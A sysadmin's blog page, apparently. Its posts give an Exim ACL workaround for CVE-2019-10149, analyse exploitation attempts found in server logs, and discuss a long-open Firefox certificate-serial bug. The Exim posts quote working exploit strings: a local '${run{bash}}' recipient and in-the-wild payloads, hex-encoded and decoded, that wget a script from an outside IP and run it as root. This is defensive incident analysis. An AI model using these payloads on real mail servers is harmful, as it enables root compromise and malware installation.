Quickfix: Exim <= 4.91 for CVE-2019-10149

Ok, Exim 4.87 < 4.92 has a serious security hole, which can also be trivially exploited: CVE-2019-10149

A lot of fuss has been made about the weak point, but unfortunately nobody has been able to tell whether it can be fended off without an update. Let’s have a look at what it’s all about.

What is the trivial exploit?

As a local attacker it is enough to send an email with Exim’s sendmail replacement to „<${run{bash}}@zieldomain.de>“. At the moment it is delivered, the embedded command (here bash) is executed as root.

The whole thing can also be executed remotely, so it’s a really nasty vulnerability. But only versions > 4.87 < 4.92 are affected. For this, however, various things must be allowed in the config, which is only partially the case in the default configuration. For example, you cannot include a „/“ in the command because these are illegal characters. This of course restricts the attacker from being strong.

Since even on the exim list there was a lot of secrecy in the game until today, here are the equally trivial countermeasures:

Countermeasures

Just don’t allow „$“ in email addresses 😀 That’s it. There only ARGS came to my mind 😀

This comes into your Exim configuration, then restart Exim:

acl_check_rcpt:

deny message = Restricted characters in address
domains = +local_domains
local_parts = ^[.] : ^.*[\$@%!/|]

deny message = Restricted characters in address
domains = !+local_domains
local_parts = ^[./|] : ^.*[\$@%!] : ^.*/\\.\\./


.

acl_check_mail:




drop message = Restricted characters in address
condition = ${if match{$sender_address}{\N.*\$.*run.*\N}{1}{0}}}

# IMPORTANT: Write in before these instructions, otherwise it’s not working!

accept hosts = +relay_from_hosts

This chokes off the attacker before the email is delivered.

The better countermeasure would of course be to switch to a more recent Exim. But as it is, there are always „reasons“ why and why something can’t be updated.

Nobody gets his teeth apart…

What annoys me most of all about the gap is that this cheap countermeasure does not appear in the Advisory of Qualys and in the hints of the Exim Team. With the Exim people I can still understand it, because they had fixed the bug independently already at the beginning of the year and can say justly: Just do updates.

Qualyss looks different, they write :

As per the distros list policy:

Below is an abridged version of our advisory (with all the vulnerability
details, but without exploitation details); we will publish the complete
version in 24 hours, or as soon as third-party exploits are published,
whichever happens first.

We believe that it makes no sense to delay this any longer than that:
this vulnerability is trivially exploitable in the local and non-default
cases (attackers will have working exploits before that, public or not);
and in the default case, a remote attack takes a long time to succeed
(to the best of our knowledge).

Nice that you omitted the exploit, how about the workaround, so that the good guys have a small lead?  And this cryptic hint „a remote attack takes a long time to succeed“ means that you should restart your exim every 24h, because there is some shit with „tar pits“.

These are usually spam traps that respond so slowly that the attacker’s attack is just as tough as in a tar pit, up to „no progress at all“. The attackers take advantage of something like this here. Therefore once in the cron „killall -9 exim; systemctl restart exim“ daily  : Done.

A follow-up of the aftermatch and some real exploits can be found here: Exim – Exploit in der Wildnis unterwegs

Translated with www.DeepL.com/Translator

BTW: yes, ofcourse i could have written it in english myself, but the translation isn’t that bad 😉

Exim – Exploit in der Wildnis unterwegs

Vor ein paar Tagen ging ja die Exim Root-Schwachstelle durch alle IT-Portale. Wenn Ihr Euch an diesen Beitrag erinnern Exim < 4.92 mit CVE-2019-10149 mögt.Darin hatte ich u.a. auf das Problem und die Lösung hingewiesen.

Was passiert, wenn man nicht reagiert

Heute morgen erreichte die Exim-Mailingliste folgende E-Mail:

hi all,

My mail system has just been hacked; it’s running Debian unstable exim 4.91-9

Could it be CVE-2019-10149? I don’t see any reports of active exploits yet.

The reasons I suspect exim involvement:

‱ starting today, every 5 mins getting frozen messages:

The following address(es) have yet to be delivered:

root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dT\x2036\x20https\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldm1ip\x20\x2dO\x20\x2froot\x2f\x2efabyfmnp\x20\x26\x26\x20sh\x20\x2froot\x2f\x2efabyfmnp\x20\x2dn\x22\x20\x26}}@xxx: Too many „Received“ headers – suspected mail loop

‱ the trojan horse scripts, that were successfully installed on my system, with root access, are all group Debian-exim

Luckily, it looks like the trojans did nothing more than repeated attempts to open up my ssh server to root logins, which I think (and hope) didn’t actually work, so I may have been lucky, and the damage isn’t widespread.

ought I to be reporting this anywhere?

Darauf hin habe ich mal die Logs des Servers analysiert, fĂŒr den ich den kleinen Patch geschrieben habe und seht, was ich dort fand :

2019-06-10 04:31:04 H=(xxxxxxxxxxxxxx.xx) [89.248.171.57] F=<> rejected RCPT <${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dt\x203\x20\x2dT\x2075\x20http\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldmxim\x20\x2dO\x20\x2froot\x2f\x2etuked\x20\x26\x26\x20sh\x20\x2froot\x2f\x2etuked\x20\x2dn\x22\x20\x26}}@xxxxxxxxxxxxxx.xx>: Restricted characters in address
2019-06-10 04:31:04 H=(xxxxxxxxxxxxxx.xx) [89.248.171.57] F=<> rejected RCPT <${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dt\x203\x20\x2dT\x2075\x20http\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldmxim\x20\x2dO\x20\x2froot\x2f\x2ekqvuhtpi\x20\x26\x26\x20sh\x20\x2froot\x2f\x2ekqvuhtpi\x20\x2dn\x22\x20\x26}}@xxxxxxxxxxxxxx.xx>: Restricted characters in address
… und noch ein paar mehr davon …

Ja, sie es versucht, der Exploit ist folglich in der Wildnis unterwegs.

Exploit ist am Werk

Wer jetzt nicht seinen anfÀlligen Exim wie in Exim < 4.92 mit cve-2019-10149 beschrieben patched oder auf einen neueren Exim updated, der gehört bestraft und wie man oben sieht, wird er das auch.

Schauen wir uns mal an, was da passieren sollte:

${run{/bin/bash -c „wget –no-check-certificate -t 3 -T 75 http://185.162.235.211/ldmxim -O /root/.tuked && sh /root/.tuked -n“ &}

Hier wird also ein in Russland gehostedes Script per wget mit Rootrechten heruntergeladen und ausgefĂŒhrt. Naja, es „sollte“ ausgefĂŒhrt werden. Hat ja nicht geklappt, weil der Eximpatch das verhindert hat.

Bei dem gehackten Debianserver kam eine leicht geÀnderte Anweisung zum Einsatz:

${run{/bin/bash -c „wget –no-check-certificate -T 36 https://185.162.235.211/ldm1ip -O /root/.fabyfmnp && sh /root/.fabyfmnp -n“ &}}

von der selben Gruppe offensichtlich wie bei dem von mir betreuten Server, aber mit einem zufĂ€lligen Dateinamen. Ich tippe mal darauf, daß es damit Firewalls schwieriger gemacht werden soll, diese Anweisung gleich zu filtern. Als Firewallregelschreiber wĂŒrde ich auf „${run“ filtern, aber ok, das ist ja nur meine Meinung :DD

-t meint ĂŒbrigens retries. Da hat wohl jemand bemerkt, daß er zu viele anfĂ€llige Server gleichzeitig attackiert hat und sein Webdienst ĂŒberlastet war 😀 Auch das grĂ¶ĂŸere Timeout mit -T 75 spricht dafĂŒr, daß das Ziel wohl schlecht zu erreichen war. Da muß man dann mal  kreativ werden 😉

Update 16:38 Uhr

So langsam kommen die Hackberichte rein. Zimbra scheint von dem EXIM CVE  betroffen zu sein:

https://forums.zimbra.org/viewtopic.php?t=65932&start=120#p290739

Nach dem ich das gelesen habe, kommt bei denen keiner auf Idee den Server durch Reinstallation zu entseuchen? Deren Crontab scheint ihnen dagegen sehr wichtig zu sein.

Update 17:00 Uhr

Die CPanel Supporter haben doch glatt fĂŒr alte, gar nicht mehr maintainte Versionen ein Update rausgebracht.

Exim CVE-2019-10149, how to protect yourself

Leider ist es natĂŒrlich falsch zu behaupten, es gibt keine Gegenmaßnahmen, denn die stehen ja hier oben wirkungsvoll demonstriert zur VerfĂŒgung 🙂

Update 17:06 Uhr

Hier gibt es am Ende eine schöne Liste ĂŒber die Verteilung der Exim Versionen:

Critical Exim flaw exploitable locally and remotely, patch ASAP!

Sehr aufschlussreich, hÀtte ich gar nicht gedacht.

Firefox – Bugs auf die lange Bank geschoben

Wer weiß noch, was er vor 11 Jahren gemacht hat? Bugtracker z.B. wissen es, sollten sich aber nicht 11 Jahre zurĂŒck erinnern mĂŒssen. Im Fall des Firefox-Bugs #435013 weiß ich dies auch und der Bugreport befindet sich in guter Gesellschaft 😉

Uralte Bugreports auf die lange Bank geschoben

Ein bisschen stolz darf man bei den Firefox Devs ruhig sein, ihr Produkt gibt es schon min. 11 Jahre, denn genau solange  ist der Bug #425013 bereits offen. Dabei handelt sich um eine echt knifflige Sache, nĂ€mlich die Frage: „Wann darf ein Computerprogramm es besser wissen, als der Mensch der es bedient?

In dem obigen Bugreport geht um einen technisch gesehen einfache Sache: Wenn jemand ein SSL-Zertifikat ausstellt, dann bekommt dies eine Seriennummer. Keine zwei SSL-Zertifikate des gleichen Ausstellers sollten die gleiche Seriennummer haben. Sagt die Theorie.

Die Praxis

In der Praxis kann man sich immer noch selbst Zertifikate ausstellen, und wenn man das macht, fĂ€ngt das Programm, das dies fĂŒr einen durchfĂŒhrt, bei  Eins an zu zĂ€hlen. Das sind die Selbst-Signierten-SSL-Zertifikate. Die kann man ganz leicht mit OpenSSL selbst erstellen. Dauert keine zehn Sekunden.

Jetzt stellen wir uns mal vor, daß zehn Leute  Ihrem OpenSSL-Befehl sagen, mach mir ein Zertifikat fĂŒr „localhost“ oder 127.0.0.1. Dann geht das jeweilige OpenSSL-Tool „openssl“ hin und macht das. Bei jedem der Zertifikate, die sich ja auf zehn verschiedenen Computern befinden, schreibt OpenSSL als Seriennummer eine Eins rein, denn auf dem jeweiligen Computer ist es das erste Zertifikat, das dort erstellt wurde.So weit, so gut.

Diesen Vorgang kann man auch automatisch durchfĂŒhren. Wenn man ein Softwareprodukt verteilt, welches ein SSL-Zertifikat braucht, kann dies beim Start eines automatisch erstellen. Prima. Wir haben VerschlĂŒsselung, den privaten SchlĂŒssel des Zertifikates gibt es nur auf dem einem Produkt, nennen wir das mal spaßeshalber „IPMI-Modul“ und damit ist die Verbindung fĂŒr die dies Zertifikat benutzt wird sicher.Genial, oder?

Die Sache mit dem Erfolg

Mal sehen. So ein „IPMI“ Modul verkauft sich, weil es fĂŒr Server benutzt wird, recht gut. Es wird zig tausendmal verkauft. Bei zigtausend Servern wird beim ersten Start so ein SSL-Zertifikat mit der Seriennummer Eins (in Zahlen „1“) erzeugt und wenn man sich dahin als KĂ€ufer verbindet ist alles gut. Jetzt soll es vorkommen, daß KĂ€ufer, die dies Produkt gut fanden, gleich noch eins kaufen, ..oder zwei, …drei, .. hundertneunzehn oder tausende (Hostingunternehmen z.B.).

Auf jedem der Server wird ein Zertifikat mit der Seriennummer Eins erzeugt, aber keins der Zertifikate hat den gleichen SchlĂŒssel drin, ergo nicht die gleichen Checksummen wie die anderen Zertifikate der anderen Server. Jetzt kommt wieder Firefox-Bug #435013 ins Spiel. Wenn man aus so einem Haufen von Servern auf das erste IPMI-Modul per HTTPS zugreift, das liegt daran, daß es Remote-Adminpanels sind, die als Webseiten recht praktisch zu benutzen sind, dann ist die Welt noch in Ordnung.

Will man jetzt aber nach dem ersten Server auch den zweiten Server so besuchen, meckert FireFox, daß es da vom selben Aussteller ( vermutlich die Default-CA von OpenSSL ) bereits ein Zertifikat mit der Seriennummer und dem Hostnamen ( der ist auch immer gleich ) gibt und man ja jetzt einer FĂ€lschung aufgesessen wĂ€re. Bei „normalen“ SSL-Zertifikatsproblemen, wie abgelaufenen GĂŒltigkeitsdaten, kommt  jetzt eine Nachfragemöglichkeit, ob man das ausgelaufene Zertifikat trotzdem benutzen will. Per Definition geht es bei den meisten SSL-Zertifikaten um VerschlĂŒsselung der DatenĂŒbertragung. Bei WebShops geht auch schon einmal um Authentifizierung, also den Beweis, daß man der ist, der man vorgibt zu sein.

Jetzt ist ein zeitlich ausgelaufenes Zertifikat im Bezug auf VerschlĂŒsselung nicht so schlimm (kann auch schlimm sein, aber bei Otto-Normal-Webseiten eher nicht), weil der SchlĂŒssel wird ja nicht dadurch schlechter oder „ungeheim“, nur weil in dem Zertifikat das Datum von Vorgestern drinsteht.

Bei Seriennummern ist das anders…

Bei Seriennummern ist das anders, weil eine Seriennummerkollision wie oben beschrieben der Versuch sein kann, ein anderes Zertifikat so geschickt nachzuahmen, daß ein Man-in-the-Middle-Angriff auf den Webseitenbesucher nicht bemerkt wĂŒrde. Beim MITM-Angriff setzt sich der Angreifer zwischen Besucher und Webseite und simuliert beiden Seiten, daß er jeweils der Andere wĂ€re, um so an die verschlĂŒsselten Daten zu kommen, da er den Endpunkt der jeweiligen Kommunikation darstellt.

Das kann nur funktionieren, wenn das Zertifikat, daß der Angreifer prĂ€sentiert, vom Browser als das alte, bereits bekannte, Zertifikat eingestuft wird und daher muß es min. die gleiche Seriennummer haben. Ergo, findet man zwei gleiche Seriennummern in Zertifikaten, die den gleichen Namen und Aussteller haben, aber einen anderen Inhalt (Public-Key), so kann es sich nur um eine FĂ€lschung handeln. Das ist Browserlogik und an sich stimmt das auch so. Es ist also Zeit Alarm zuschlagen und dem Benutzer mitzuteilen, daß da was ganz böse im Argen ist und das macht Firefox auch.

Nicht alles was rot blinkt, ist ein Atomsprengkopf im Anflug

Das Problem im Falle der zwei+X IMPIs ist nun, daß es kein Angriff ist, sondern eine Folge der oben beschriebenen UmstĂ€nde, daß die Zertifikate automatisch erstellt wurden und mangels VorgĂ€nger, die Seriennummer Eins haben. Das kann der Browser nicht wissen, aber der Admin vor dem Monitor schon, und der erwartet von FireFox, daß er das als Mensch besser wissen darf und einen „Mach trotzdem“-Button zur VerfĂŒgung bekommt. Bekommt er aber nicht.

„FrĂŒher“(tm), als alles noch besser war ;), gab es den Button, der flog dann aber raus, weil die Masse der Menschen nun einmal kein Admin ist und Dumm&Unerfahren noch dazu. Die Mozilla-Entwickler haben entschieden, die „Mach Trotzdem“-Button zu entfernen, weil 99,5% oder mehr Prozent der Nutzer in dem Fall nicht wĂŒĂŸten, wann Sie den Button nicht benutzen dĂŒrfen. Kann man verstehen die Überlegung. Wieso es dann aber keine Konfigurationseinstellung gibt, die es Experten erlaubt, trotzdem einen „Mach Trotzdem“-Button zu bekommen, ist Inhalt des Firefox-Bugs #435013 .

Wenn das schon…

… solange eine getroffene Entscheidung der Devs ist, wieso gibt es dann den Bugreport noch? Jetzt könnten böse Zungen schreiben, daß dies ja die ĂŒbliche Masche ist bei Mozilla, unangenehme Dinge aus zu sitzen. DafĂŒr ist die Beweislage dann doch etwas dĂŒnn 🙂 Ja dĂŒnn, weil Indizien sind ja da sehr wohl vorhanden, wie man hier sieht:

https://bugzilla.mozilla.org/show_bug.cgi?id=479520

Das ist der berĂŒchtigte Bugreport zu IDNA2008, den Internationalen Domainnamen und dem Kampf der deutschen Benutzer von Firefox um das ß im Domainnamen. Da ich bei der Argumentation nicht ganz unbeteiligt war, an dieser Stelle schöne GrĂŒĂŸe an die Kollegen von DENIC, weiß ich auch noch, wie lange und vor allem zĂ€h dieser Bugreport behandelt wurde. Die Teergruben in Los Angeles sind ein Witz dagegen 🙂 Dabei war die Sachlage eigentlich ganz einfach, ß wurde beim Original IDNA  ausgespart, weil es ein Sonderfall war, denn es gab damals kein großes ß im Deutschen Zeichenvorrat. Im ersten IDNA Regelwerk war dann auch der Sonderweg ß -> ss   vorgesehen, was im Nachhinein wirklich keine gute Idee war. Straße.de und Strasse.de waren damit gleich, was aber nicht geht, weil Domainnamen keine Aliase haben können.

Naja, langer Rede kurze Pointe, mit genug Druck haben wir es geschafft und vor drei Jahren hat Firefox endlich die Regel ß -> ss durch die korrekte IDNA2008 Punycodeumwandlung des Strings ersetzt. Seit dem Tag kann man endlich die Straße.de aufrufen 😀

Über die GrĂŒnde, warum der Bugreport zu dem Seriennummernproblem so lange offen bleibt, wo doch eine Entscheidung getroffen wurde, kann man nur spekulieren. Ich denke, dies liegt daran, daß Chrome das nicht macht. Bei Chrome kann man auf dem „Machs doch“ Button klicken, weil einer da ist. Damit hat man argumentativ schlechte Karten, wenn das große Google das anders als das viel kleinere Mozilla macht. Also schieben wir es als „Wir denken dran“ auf die Bank und irgendwann wird sich das von selbst erledigen. Persönlich glaube ich ja, daß es das nicht wird.

Wie kam ich jetzt eigentlich darauf?

Weil ich ja auch im CC stehe, bekomme ich alle Kommentare zugemailt, die es zu dem Fall gibt, und heute kam der hier rein:

Comment # 208 on Bug 435013 from at 2019-06-10 12:46:51 PDT

Problem still exists. Is there a bug associated with „devs are using the browser to try to improve the world of security, exception would hinder that. User attempts to justify unique situation, devs in denial that such a situation warrants a change.“ ???

#egotistical, #broken, #savetheworld, #thanksmom, #papersplease

I don’t have a war on hackers or viruses anymore. The new battleground features users and devs, with the devs costing us all way more lost time than viruses or hacking ever has, and I’ve been using computers since my commodore 64. If the devs don’t care, then I do know ways to make them care. Or at least see that they can’t win at this.

Wer es nicht verstanden oder gesehen hat, ich ĂŒbersetze mal den Satz:

Wenn die Entwickler sich nicht kĂŒmmern, dann habe ich Wege, daß sie es doch tun, oder wenigsten merken, daß sie den Kampf nicht gewinnen können.

Das drĂŒckt den Benutzerstandpunkt eigentlich ganz gut aus, weil auch ich sehe es so, daß der Button wieder her muß, weil FF sonst unbenutzbar ist in diesem speziellen Fall. FĂŒr Admins kommt sowas nĂ€mlich ĂŒberproportional oft vor und ist damit echt nervig. Ich wĂŒrde ja genau wie #209 den Mittelweg wĂ€hlen und einfach eine about:config Option einbauen, aber  auf mich hört ja keiner 🙁 (beim ersten mal 😀 )

Wir dĂŒrfen gespannt sein, wie lange der Bugreport noch offenbleibt. Möglicherweise ja bis Mozilla den AskFedora pullt und alle alten Bugs beim Wechsel zu einem neuen System, auf dem alten System lĂ€ĂŸt 🙂